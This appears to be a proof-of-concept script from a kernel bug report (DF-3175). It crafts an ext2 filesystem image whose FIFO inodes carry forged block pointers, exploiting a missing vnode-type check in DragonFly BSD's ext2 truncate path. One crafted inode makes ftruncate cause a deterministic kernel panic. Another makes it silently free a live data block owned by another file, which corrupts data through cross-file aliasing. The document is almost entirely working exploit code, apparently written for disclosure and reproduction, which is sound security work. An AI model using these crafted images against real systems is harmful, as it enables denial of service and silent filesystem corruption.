DF-3175 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | #!/usr/bin/env python3 """ DF-3175 ext2 image crafter — special-file (FIFO) inodes with crafted i_db[]. Bug being proven (sys/vfs/ext2fs/ext2_inode.c): ext2_setattr()'s va_size switch has `default: break` (ext2_vnops.c:338), so ftruncate() on a VCHR/VBLK/VFIFO/VSOCK inode reaches ext2_truncate(), which has NO vnode-type gate (ext2_inode.c:458-491). ext2_ind_truncate() then treats the inode's i_db[]/i_ib[] slots as file block pointers and frees them via ext2_blkfree() (ext2_alloc.c:1403), whose only validation is `bno < e2fs_bcount` (:1414). A clear bitmap bit => unconditional panic("ext2_blkfree: freeing free block") (:1429); a set bit => the block is silently freed while still owned by another file (cross-file aliasing). (FreeBSD ufs_setattr returns 0 for special files — DragonFly diverges.) Image contents (8 MiB, 4 KiB blocks, ext2 rev1, 128-byte inodes): victim regular file, 4096 bytes of 'A' -> owns exactly one data block targetA FIFO, i_size=0x10000, i_db[0..11] = 12 DISTINCT free blocks, i_ib[]=0 -> ftruncate(fd,0) frees i_db[11] first => bit clear => kernel panic (deterministic) targetB FIFO, i_size=0x10000, i_db[0] = victim's data block (bit SET), i_db[1..11]=0, i_ib[]=0 -> ftruncate(fd,0) silently frees victim's live block (no panic, f_bfree += 1, then a newly created file can alias it) Run on the HOST (needs mke2fs, debugfs, python3): python3 craft_img.py out.ext2 """ import os, struct, subprocess, sys IMG = sys.argv[1] if len(sys.argv) > 1 else "df3175.ext2" SIZE_MB = 8 BS = 4096 NBLK = (SIZE_MB * 1024 * 1024) // BS # 2048 blocks def sh(cmd, check=True): return subprocess.run(cmd, shell=True, check=check, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True).stdout # 1. Base ext2 image: no metadata_csum, no huge_file, no 64bit, no extents. sh(f"dd if=/dev/zero of={IMG} bs=1M count={SIZE_MB} 2>/dev/null") sh(f"mke2fs -F -q -t ext2 -b {BS} -O '^metadata_csum,^huge_file,^64bit' {IMG} {NBLK}k") # 2. Populate: victim (4096 'A's). targetA/targetB are created as regular # files only so that debugfs allocates us inodes; we patch modes after. sh("python3 -c \"open('/tmp/df3175_payload','wb').write(b'A'*4096)\"") for name in ("victim", "targetA", "targetB"): sh(f"debugfs -w {IMG} -R 'write /tmp/df3175_payload {name}' >/dev/null 2>&1") def inode_no(name): st = sh(f"debugfs {IMG} -R 'stat {name}' 2>/dev/null") for line in st.splitlines(): if line.strip().startswith("Inode:"): return int(line.split()[1]) raise SystemExit(f"no inode for {name}:\n{st}") inos = {n: inode_no(n) for n in ("victim", "targetA", "targetB")} print(f"[craft] inodes: {inos}") # victim's single data block (debugfs prints "BLOCKS:" then "(0):NN") import re vst = sh(f"debugfs {IMG} -R 'stat victim' 2>/dev/null") m = re.search(r"BLOCKS:.*?(?:\(\d+\):(\d+))", vst, re.S) vblk = int(m.group(1)) if m else None if vblk is None: raise SystemExit("no BLOCKS line:\n" + vst) print(f"[craft] victim data block = {vblk}") # 3. Pick 12 distinct FREE blocks inside [0, s_blocks_count) for targetA. with open(IMG, "rb") as f: f.seek(1024); sb0 = f.read(64) bcount = struct.unpack_from("<I", sb0, 4)[0] free_blocks = [] b = bcount - 2 while len(free_blocks) < 12 and b > 100: out = sh(f"debugfs {IMG} -R 'testb {b}' 2>/dev/null") if "Illegal" not in out and ("marked free" in out or "not in use" in out): free_blocks.append(b) b -= 1 if len(free_blocks) < 12: raise SystemExit("could not find 12 free blocks") print(f"[craft] targetA free (clear-bit) blocks = {free_blocks}") # 4. Locate the inode table (block group 0 descriptor @ block 1, off 8). with open(IMG, "rb") as f: f.seek(1024); sb = f.read(1024) s_blocks_count = struct.unpack_from("<I", sb, 4)[0] s_log_block_size = struct.unpack_from("<I", sb, 24)[0] assert 1024 << s_log_block_size == BS s_inodes_per_group = struct.unpack_from("<I", sb, 40)[0] s_rev_level = struct.unpack_from("<I", sb, 76)[0] s_inode_size = struct.unpack_from("<H", sb, 88)[0] if s_rev_level >= 1 else 128 with open(IMG, "rb") as f: f.seek(BS); gd = f.read(32) itbl = struct.unpack_from("<I", gd, 8)[0] print(f"[craft] bcount={s_blocks_count} ipg={s_inodes_per_group} " f"inode_size={s_inode_size} itbl@{itbl}") FIFO_MODE = 0o010666 # S_IFIFO | rw-rw-rw- def patch(ino, mode, size, dbs): off = itbl * BS + (ino - 1) * s_inode_size with open(IMG, "r+b") as f: f.seek(off); raw = bytearray(f.read(s_inode_size)) struct.pack_into("<H", raw, 0, mode) # e2di_mode -> FIFO struct.pack_into("<I", raw, 4, size) # e2di_size (low 32) struct.pack_into("<I", raw, 28, 32) # e2di_nblock (plausible) flags = struct.unpack_from("<I", raw, 32)[0] flags &= ~0x00080000 # ~EXT4_EXTENTS flags &= ~0x00040000 # ~EXT4_HUGE_FILE struct.pack_into("<I", raw, 32, flags) for i in range(15): # e2di_blocks[0..14] v = dbs[i] if i < len(dbs) else 0 struct.pack_into("<I", raw, 40 + 4 * i, v) f.seek(off); f.write(raw); f.flush(); os.fsync(f.fileno()) print(f"[craft] ino {ino}: mode=0x{mode:o} size=0x{size:x} " f"db[0..2]={dbs[:3]}...") # targetA: 12 distinct clear-bit blocks; frees run i=11..0, first is db[11] patch(inos["targetA"], FIFO_MODE, 0x10000, free_blocks) # targetB: ONLY db[0] = victim's live block (bit SET => silent free) patch(inos["targetB"], FIFO_MODE, 0x10000, [vblk]) print(f"[craft] wrote {IMG} ({os.path.getsize(IMG)} bytes)") print("[craft] A: ftruncate targetA -> panic; B: ftruncate targetB -> silent free") |